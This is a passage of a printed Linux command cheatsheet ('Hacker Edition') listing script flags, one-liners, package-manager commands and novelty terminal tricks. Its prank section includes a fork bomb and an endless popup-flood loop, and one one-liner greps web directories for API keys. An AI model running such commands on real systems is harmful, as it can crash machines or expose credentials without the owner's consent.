Description Run script from current dir

Command bash -x script.sh

Description Debug script (show commands)

Command set -e

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 55/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Exit script on any error

Command set -x

Description Enable shell debugging

8. ONE-LINERS & PRODUCTIVITY

Command grep -R "API_KEY" /var/www

Description Search for secrets recursively

Command curl -sL https://gtfobins.github.i


o/ | grep "bash"

Description Scrape GTFOBins quickly

Command find . -type f -mtime -1

Description Find files modified in last 24h

Command ps aux | sort -rk 3,3 | head -10

Description Top 10 CPU-hungry processes

Command du -sh * | sort -hr | head

Description Top 10 largest files/folders

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 56/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

📦 Package Management & Updates (40+)


Install, remove, search, update, and manage packages using various Linux package
managers — crucial for both sysadmins and pentesters.

1. APT (DEBIAN / UBUNTU)

Command sudo apt update

Description Update package lists

Command sudo apt upgrade

Description Upgrade all installed packages

Command sudo apt full-upgrade

Description Upgrade including kernel & dependencies

Command sudo apt install nmap

Description Install package

Command sudo apt remove nmap

Description Remove package but keep configs

Command sudo apt purge nmap

Description Remove package with configs

Command apt search apache2

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 57/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Search for a package

Command apt show curl

Description Display package details

Command sudo apt autoremove

Description Remove unused packages

Command sudo apt clean

Description Clear local repo of retrieved package files

Command sudo apt-mark hold nginx

Description Hold package (prevent auto-upgrade)

Command sudo apt-mark unhold nginx

Description Unhold package

2. DPKG (LOW-LEVEL DEBIAN)

Command dpkg -l | grep nmap

Description List installed packages matching nmap

Command sudo dpkg -i tool.deb

Description Install .deb package manually

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 58/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command sudo dpkg -r packagename

Description Remove package

Command dpkg -S /usr/bin/nmap

Description Find which package owns a file

Command dpkg -L nmap

Description List files installed by a package

3. YUM / DNF (RHEL / FEDORA / CENTOS)

Command sudo yum update

Description Update packages

Command sudo yum install nmap

Description Install package

Command sudo yum remove nmap

Description Remove package

Command yum list installed

Description List all installed packages

Command yum search apache

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 59/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Search packages

Command sudo dnf update

Description Use DNF (newer systems)

Command sudo dnf autoremove

Description Remove unused packages with DNF

4. SNAP & FLATPAK

Command snap list

Description List installed snap packages

Command sudo snap install code --classic

Description Install snap package (VS Code)

Command sudo snap remove code

Description Remove snap package

Command flatpak list

Description List installed flatpak packages

Command flatpak install flathub org.gimp.G


IMP

Description Install GIMP from Flathub

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 60/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command flatpak uninstall org.gimp.GIMP

Description Remove flatpak package

5. HOMEBREW (LINUXBREW)

Command /bin/bash -c "$(curl ...)"

Description Install Homebrew on Linux (shortened for


clarity)

Command brew install nmap

Description Install package using Homebrew

Command brew upgrade

Description Upgrade all Homebrew packages

Command brew search hydra

Description Search package using Homebrew

6. ZYPPER (OPENSUSE)

Command sudo zypper refresh

Description Refresh repos

Command sudo zypper install nmap

Description Install package

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 61/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command sudo zypper remove nmap

Description Remove package

Command zypper se apache

Description Search for a package

Command zypper lu

Description List updates available

7. SEARCH, CLEANUP & TRICKS

Command which nmap

Description Check if a binary exists in PATH

Command whereis python3

Description Locate binary, source, and man pages

Command apt list --installed

Description List all installed packages (APT)

Command apt list --upgradable

Description Show packages with updates available

Command sudo add-apt-repository ppa:deadsn


akes/ppa

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 62/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Add external repository (e.g., Python)

Command sudo apt-get source pkg

Description Download package source code

🎨 Fun & Easter Egg Commands (20+)


Make terminal sessions memorable. These are great for teaching, demos, or just having
fun 😎 (⚠ For labs & demos only — don’t troll production!)

1. TERMINAL ANIMATIONS & FUN

Command sl

Description 🚂 Train animation when you mistype “ls”

Command cmatrix

Description 💻 Matrix-style digital rain

Command asciiquarium

Description 🐠 Animated aquarium in terminal (install


via apt)

Command pipes.sh

Description 🌀 Cool pipe screensaver in terminal

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 63/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command oneko

Description 🐱 Little cat chases your cursor in X11

Command yes "I ❤️ Linux"

Description Repeat message infinitely until Ctrl+C

2. ASCII ART, FORTUNE & EASTER EGGS

Command figlet "CYBER MIND SPACE"

Description Print ASCII banner text

Command toilet -f mono12 -F metal "HACKE


R"

Description Fancy colored ASCII text

Command fortune | cowsay

Description 🐮 Cow gives random fortune

Command fortune | lolcat

Description 🌈 Colorful fortune output

Command cowsay -f tux "Linux FTW!"

Description 🐧 Penguin ASCII says message

Command echo "CYBER MIND SPACE" | rev

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 64/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Reverse any text

3. TEXT MANIPULATION TRICKS

Command echo "hello world" | tr 'a-z' 'A-


Z'

Description Convert text to uppercase

Command echo -e "\a"

Description 🔔 Play terminal bell sound

Command watch -n 0.1 "echo HACKED 😈"

Description Flash “HACKED” rapidly

4. ONLINE TERMINAL TOYS

Command telnet towel.blinkenlights.nl

Description 🎬 Watch Star Wars Episode IV in ASCII!

Command curl parrot.live

Description 🦜 Dancing parrot in your terminal

Command curl cht.sh/bash

Description 📚 Query cheat.sh for Bash cheats

Command curl wttr.in

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 65/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description ☁️ Terminal weather forecast

5. TROLL / PRANK (FOR LABS ONLY!)

Command alias ls='sl'

Description Replace `ls` with train animation 😂

Command while true; do xmessage "You are h


acked!"; done

Description Popup flood (X11 prank)

Command :(){ :|:& };:

Description ⚠️ Fork bomb (Do NOT run in prod!)

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 66/66

You might also like